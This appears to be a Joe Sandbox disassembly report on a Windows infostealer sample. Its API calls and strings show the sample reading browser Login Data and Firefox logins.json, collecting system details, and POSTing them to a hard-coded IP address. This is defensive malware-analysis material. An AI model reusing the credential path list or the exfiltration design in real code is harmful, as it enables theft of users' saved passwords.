Part of subcall function 00007FF71E391520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAVios_base@1@AEAV21@@Z@Z.MSVCP140 ref: 00007FF71E391609
Part of subcall function 00007FF71E391520: isalnum.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF71E391648
Part of subcall function 00007FF71E391520: ?setw@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140 ref: 00007FF71E39166D
Part of subcall function 00007FF71E391520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@H@Z.MSVCP140 ref: 00007FF71E39169B

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E391C67
memcpy.VCRUNTIME140 ref: 00007FF71E391CAF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E391DB1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E391E02
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E391E53
WinHttpOpen.WINHTTP ref: 00007FF71E391E86
WinHttpConnect.WINHTTP ref: 00007FF71E391EC2
memcpy.VCRUNTIME140 ref: 00007FF71E39207E
memcpy.VCRUNTIME140 ref: 00007FF71E3921A4
GetFileAttributesW.KERNELBASE ref: 00007FF71E392254
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E3922A7
memcpy.VCRUNTIME140 ref: 00007FF71E3924FF
memcmp.VCRUNTIME140 ref: 00007FF71E392597
memcpy.VCRUNTIME140 ref: 00007FF71E3927C6
memcpy.VCRUNTIME140 ref: 00007FF71E392BF9

Part of subcall function 00007FF71E39A0C0: memcpy.VCRUNTIME140 ref: 00007FF71E39A0F8

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E39301F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39302A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393031
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393038
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39303F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393046
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39304D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393054
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39305B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393062
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393069
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393070
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393077
WinHttpCloseHandle.WINHTTP ref: 00007FF71E393357
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39339F
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF71E3933C6
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E3933D6
GetLastError.KERNEL32 ref: 00007FF71E3933A6

Part of subcall function 00007FF71E3999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399AE6

WinHttpCloseHandle.WINHTTP ref: 00007FF71E3933E9
GetLastError.KERNEL32 ref: 00007FF71E3933F1
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF71E393411
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E393421
WinHttpCloseHandle.WINHTTP ref: 00007FF71E39342A
GetLastError.KERNEL32 ref: 00007FF71E393432
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39307E

Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A69
Part of subcall function 00007FF71E3999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A89
Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A99
Part of subcall function 00007FF71E3999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B7C
Part of subcall function 00007FF71E3999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B83
Part of subcall function 00007FF71E3999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B90

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393085
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39308C
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E3923CE

Part of subcall function 00007FF71E39B508: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39B538
Part of subcall function 00007FF71E39B508: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39B53E

WinHttpOpenRequest.WINHTTP ref: 00007FF71E391F1F

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

memcpy.VCRUNTIME140 ref: 00007FF71E3930E8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39313F
WinHttpSendRequest.WINHTTP ref: 00007FF71E39318B
WinHttpReceiveResponse.WINHTTP ref: 00007FF71E39319E
WinHttpQueryHeaders.WINHTTP ref: 00007FF71E3931D5
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF71E39324A
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E39325A
WinHttpCloseHandle.WINHTTP ref: 00007FF71E393263
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3932A2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3932F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393338
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF71E393452
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF71E393462
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E393494
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3934DC
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E393519
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39351F
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E393525
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E393537
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E39353D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E393549

Strings

" }, xrefs: 00007FF71E391D4C
name=", xrefs: 00007FF71E3927A8, 00007FF71E392BDB
FileData is empty, xrefs: 00007FF71E3923B1
File not found: , xrefs: 00007FF71E392FE9
Content-Type: application/json, xrefs: 00007FF71E3920AE, 00007FF71E392A47
msedge, xrefs: 00007FF71E3922FD
?????? ???????? ?????? WinHTTP: , xrefs: 00007FF71E39343A
", "ip": ", xrefs: 00007FF71E391CBE
.json", xrefs: 00007FF71E392835
opera, xrefs: 00007FF71E392324
POST, xrefs: 00007FF71E391F15
?????? ?????????? ? ????????: , xrefs: 00007FF71E3933F9
Content-Type: application/x-sqlite3, xrefs: 00007FF71E392DE1
?????? ???????? HTTP-???????: , xrefs: 00007FF71E3933AE
chrome, xrefs: 00007FF71E3922B8
brave, xrefs: 00007FF71E392312
?? ??????? ????????? ??????. HTTP ?????? ???: , xrefs: 00007FF71E393201
--WebKitFormBoundary, xrefs: 00007FF71E391F72
?????? ???????? ???????: , xrefs: 00007FF71E393232
?????? ??????? ??????????. HTTP ?????? ???: , xrefs: 00007FF71E3931EE
"; filename="login_data, xrefs: 00007FF71E3927E7, 00007FF71E392C08
chromium, xrefs: 00007FF71E3922E8
?? ??????? ???????? ????? ?? ???????., xrefs: 00007FF71E393215
fo": ", xrefs: 00007FF71E391C91
File is found: , xrefs: 00007FF71E392271
.sqlite", xrefs: 00007FF71E392C4F
yandex, xrefs: 00007FF71E392348
/userdata, xrefs: 00007FF71E391ED8
WinHTTP/1.0, xrefs: 00007FF71E391E7F
operagx, xrefs: 00007FF71E392333
Content-Disposition: form-data; name="sysinfo", xrefs: 00007FF71E392095
firefox, xrefs: 00007FF71E392357, 00007FF71E392590
Content-Type: multipart/form-data; boundary=WebKitFormBoundary, xrefs: 00007FF71E39317D
chromebeta, xrefs: 00007FF71E3922D0
, xrefs: 00007FF71E3921A9

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$V01@$U?$char_traits@$D@std@@@std@@$??6?$basic_ostream@$Http$Concurrency::cancel_current_taskmemcpy$V01@@$CloseHandle$ErrorLastU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@OpenRequest$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?setw@std@@?sputc@?$basic_streambuf@?uncaught_exception@std@@AttributesConnectD@std@@@1@_FileHeadersJ@1@_Osfx@?$basic_ostream@_QueryReceiveResponseSendSmanip@_U?$_V12@V21@@V?$basic_streambuf@Vios_base@1@isalnummallocmemcmp
String ID: $" }$", "ip": "$"; filename="login_data$--WebKitFormBoundary$.json"$.sqlite"$/userdata$?? ??????? ???????? ????? ?? ???????.$?? ??????? ????????? ??????. HTTP ?????? ???: $?????? ??????? ??????????. HTTP ?????? ???: $?????? ???????? ?????? WinHTTP: $?????? ???????? ???????: $?????? ???????? HTTP-???????: $?????? ?????????? ? ????????: $Content-Disposition: form-data; name="sysinfo"$Content-Type: application/json$Content-Type: application/x-sqlite3$Content-Type: multipart/form-data; boundary=WebKitFormBoundary$File is found: $File not found: $FileData is empty$POST$WinHTTP/1.0$brave$chrome$chromebeta$chromium$firefox$fo": "$msedge$name="$opera$operagx$yandex
API String ID: 3244378811-4092172495
Opcode ID: c9727f84dfdf7495cf255ca20332196da41f50b747834c9969a22f64d71bc7a5
Instruction ID: cc52be4f3d935da4164ab040f382dca4112a863c14103cd63f3359c097daa6c1
Opcode Fuzzy Hash: c9727f84dfdf7495cf255ca20332196da41f50b747834c9969a22f64d71bc7a5
Instruction Fuzzy Hash: 57E2A562E08F8685EB10AB25D4403FDA3A1EB45BB4F905639EA6D176D5DF3CF588C320

Function 00007FF71E395D80 Relevance: 74.2, APIs: 27, Strings: 15, Instructions: 687
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNELBASE ref: 00007FF71E395DC1
ShowWindow.USER32 ref: 00007FF71E395DCF

Part of subcall function 00007FF71E399610: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF71E391CCF), ref: 00007FF71E399656

Part of subcall function 00007FF71E394A40: memset.VCRUNTIME140(?), ref: 00007FF71E394A96
Part of subcall function 00007FF71E394A40: memset.VCRUNTIME140(?), ref: 00007FF71E394AAA
Part of subcall function 00007FF71E394A40: memset.VCRUNTIME140(?), ref: 00007FF71E394ABE
Part of subcall function 00007FF71E394A40: memset.VCRUNTIME140(?), ref: 00007FF71E394AD2
Part of subcall function 00007FF71E394A40: memset.VCRUNTIME140(?), ref: 00007FF71E394AE3
Part of subcall function 00007FF71E394A40: RegOpenKeyExA.KERNELBASE(?), ref: 00007FF71E394B13
Part of subcall function 00007FF71E394A40: RegGetValueA.KERNELBASE ref: 00007FF71E394B4C
Part of subcall function 00007FF71E394A40: RegCloseKey.KERNELBASE ref: 00007FF71E394B89
Part of subcall function 00007FF71E394A40: RegOpenKeyExA.KERNELBASE ref: 00007FF71E394BB8
Part of subcall function 00007FF71E394A40: RegGetValueA.KERNELBASE ref: 00007FF71E394BF1

Part of subcall function 00007FF71E3983C0: memcpy.VCRUNTIME140 ref: 00007FF71E398417

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E395E4F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E395EBD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E395F2B
GlobalMemoryStatusEx.KERNELBASE ref: 00007FF71E395F5A
memset.VCRUNTIME140 ref: 00007FF71E395F6C
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF71E395F9A
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E39607C
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E396089
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39613E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3961AC
memcpy.VCRUNTIME140 ref: 00007FF71E3962B9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E396340
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39637F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3963ED
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39645B

Part of subcall function 00007FF71E39B508: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF71E39107B), ref: 00007FF71E39B522

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3964B3
memset.VCRUNTIME140 ref: 00007FF71E3964CB

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

GetModuleFileNameA.KERNEL32 ref: 00007FF71E3964E9

Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A69
Part of subcall function 00007FF71E3999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A89
Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A99
Part of subcall function 00007FF71E3999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B7C
Part of subcall function 00007FF71E3999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B83
Part of subcall function 00007FF71E3999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B90

Part of subcall function 00007FF71E3999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399AE6

Part of subcall function 00007FF71E3999F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B0F
Part of subcall function 00007FF71E3999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B36

??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E3965E3
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E3965F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3966A5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39672C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39676E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E3967C0

Part of subcall function 00007FF71E391310: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF71E39131B

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71E396804

Part of subcall function 00007FF71E391270: __std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF71E39B543), ref: 00007FF71E3912B4

Strings

USERS INFO:, xrefs: 00007FF71E396391
CPU INFO:, xrefs: 00007FF71E395ECF
PROCESSES RUNNING:, xrefs: 00007FF71E396649
MB, xrefs: 00007FF71E395FA3
RAM INFO:, xrefs: 00007FF71E395F3D
Executable Path: , xrefs: 00007FF71E3964EF
DOMAIN AND TZ INFO:, xrefs: 00007FF71E3963FF
185.237.165.97, xrefs: 00007FF71E3966C8
DISK INFO:, xrefs: 00007FF71E3960E2
IP: , xrefs: 00007FF71E39629C
LOCALE INFO:, xrefs: 00007FF71E395E61
MACHINE INFO:, xrefs: 00007FF71E395DF3
ADAPTERS INFO:, xrefs: 00007FF71E396150
@, xrefs: 00007FF71E395F4D
Total Physical Memory: , xrefs: 00007FF71E395F84

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$U?$char_traits@$D@std@@@std@@$memset$U?$char_traits@_W@std@@@std@@memcpy$??1?$basic_ios@??1?$basic_iostream@?good@ios_base@std@@?sputc@?$basic_streambuf@OpenValueWindow$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@CloseConcurrency::cancel_current_taskConsoleD@std@@@1@@FileGlobalMemoryModuleNameOsfx@?$basic_ostream@_ShowStatusV01@_V12@V?$basic_streambuf@Xlength_error@std@@__std_exception_copymalloc
String ID: ADAPTERS INFO:$CPU INFO:$DISK INFO:$DOMAIN AND TZ INFO:$LOCALE INFO:$PROCESSES RUNNING:$RAM INFO:$USERS INFO:$ IP: $ MB$185.237.165.97$@$Executable Path: $MACHINE INFO:$Total Physical Memory:
API String ID: 2962708308-876331821
Opcode ID: 78ca8f3ea93cc4dce07aa16f4b426c758c50c3dba67c8c715aa85aa09049716b
Instruction ID: 119d01fddd837e4900d3951de344129f38c7510aca60016230c75beb4d5a98c8
Opcode Fuzzy Hash: 78ca8f3ea93cc4dce07aa16f4b426c758c50c3dba67c8c715aa85aa09049716b
Instruction Fuzzy Hash: D352B362F19E4695EB10EB64D4403BDA361FB447B4F80563AEA6D43AD9DF2CF488C320

Function 00007FF71E395510 Relevance: 58.2, APIs: 16, Strings: 17, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF71E395552
GetEnvironmentVariableW.KERNEL32 ref: 00007FF71E395580
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF71E395599
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E395604
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF71E39568F

Strings

\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data, xrefs: 00007FF71E3956D6
rele, xrefs: 00007FF71E3953F0
USERPROFILE, xrefs: 00007FF71E395579
?????? ??????: , xrefs: 00007FF71E395165
\AppData\Local\Microsoft\Edge\User Data\Default\Login Data, xrefs: 00007FF71E395706
\AppData\Roaming\Opera Software\Opera GX Stable\Login Data, xrefs: 00007FF71E395754
\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 00007FF71E39576F
\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data, xrefs: 00007FF71E39571E
\AppData\Roaming\Mozilla\Firefox\Profiles\, xrefs: 00007FF71E3957B5, 00007FF71E3958B4
rele, xrefs: 00007FF71E3952E1
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 00007FF71E3956BE
\AppData\Roaming\Opera Software\Opera Stable\Login Data, xrefs: 00007FF71E395739
\AppData\Local\Chromium\User Data\Default\Login Data, xrefs: 00007FF71E3956EE
\times.json, xrefs: 00007FF71E395916, 00007FF71E395938
\logins.json, xrefs: 00007FF71E395817, 00007FF71E395839
defa, xrefs: 00007FF71E395380
\AppData\Roaming\Mozilla\Firefox\Profiles, xrefs: 00007FF71E39559F, 00007FF71E395624

Memory Dump Source

Source File: 00000000.00000002.2425312486.00007FF71E391000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF71E390000, based on PE: true

Associated: 00000000.00000002.2425300924.00007FF71E390000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425325471.00007FF71E39E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425340860.00007FF71E3A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425358136.00007FF71E3A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff71e390000_Simple1.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$EnvironmentVariablefreemalloc
String ID: ?????? ??????: $USERPROFILE$\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data$\AppData\Local\Chromium\User Data\Default\Login Data$\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data$\AppData\Local\Google\Chrome\User Data\Default\Login Data$\AppData\Local\Microsoft\Edge\User Data\Default\Login Data$\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data$\AppData\Roaming\Mozilla\Firefox\Profiles$\AppData\Roaming\Mozilla\Firefox\Profiles\$\AppData\Roaming\Opera Software\Opera GX Stable\Login Data$\AppData\Roaming\Opera Software\Opera Stable\Login Data$\logins.json$\times.json$defa$rele$rele
API String ID: 716798019-1786275549
Opcode ID: 6cc58d25d150a11c04d09ad9526df1c6553d4a93c87f7054ba76d3d6c4800458
Instruction ID: c11210dd580824cf88c0e4b0d6107ab5debedf69b7099d6e8ca6aa2aafef225b
Opcode Fuzzy Hash: 6cc58d25d150a11c04d09ad9526df1c6553d4a93c87f7054ba76d3d6c4800458
Instruction Fuzzy Hash: D132A372A14FC695EB20AF25D8443ED6361FB847A4F805236DA5D17BE9DF38E688C310

Function 00007FF71E394A40 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 224
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140(?), ref: 00007FF71E394A96
memset.VCRUNTIME140(?), ref: 00007FF71E394AAA
memset.VCRUNTIME140(?), ref: 00007FF71E394ABE
memset.VCRUNTIME140(?), ref: 00007FF71E394AD2
memset.VCRUNTIME140(?), ref: 00007FF71E394AE3

Part of subcall function 00007FF71E396810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E39684A
Part of subcall function 00007FF71E396810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF71E396866
Part of subcall function 00007FF71E396810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF71E396898

RegOpenKeyExA.KERNELBASE(?), ref: 00007FF71E394B13
RegGetValueA.KERNELBASE ref: 00007FF71E394B4C
RegCloseKey.KERNELBASE ref: 00007FF71E394B89
RegOpenKeyExA.KERNELBASE ref: 00007FF71E394BB8
RegGetValueA.KERNELBASE ref: 00007FF71E394BF1
RegCloseKey.ADVAPI32 ref: 00007FF71E394C2E
RegOpenKeyExA.KERNELBASE ref: 00007FF71E394C5D
RegGetValueA.KERNELBASE ref: 00007FF71E394C9A
RegGetValueA.KERNELBASE ref: 00007FF71E394D01
RegCloseKey.KERNELBASE ref: 00007FF71E394D3E
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E394E0F
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF71E394E19

Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A69
Part of subcall function 00007FF71E3999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A89
Part of subcall function 00007FF71E3999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399A99
Part of subcall function 00007FF71E3999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B7C
Part of subcall function 00007FF71E3999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF71E3919FA), ref: 00007FF71E399B83
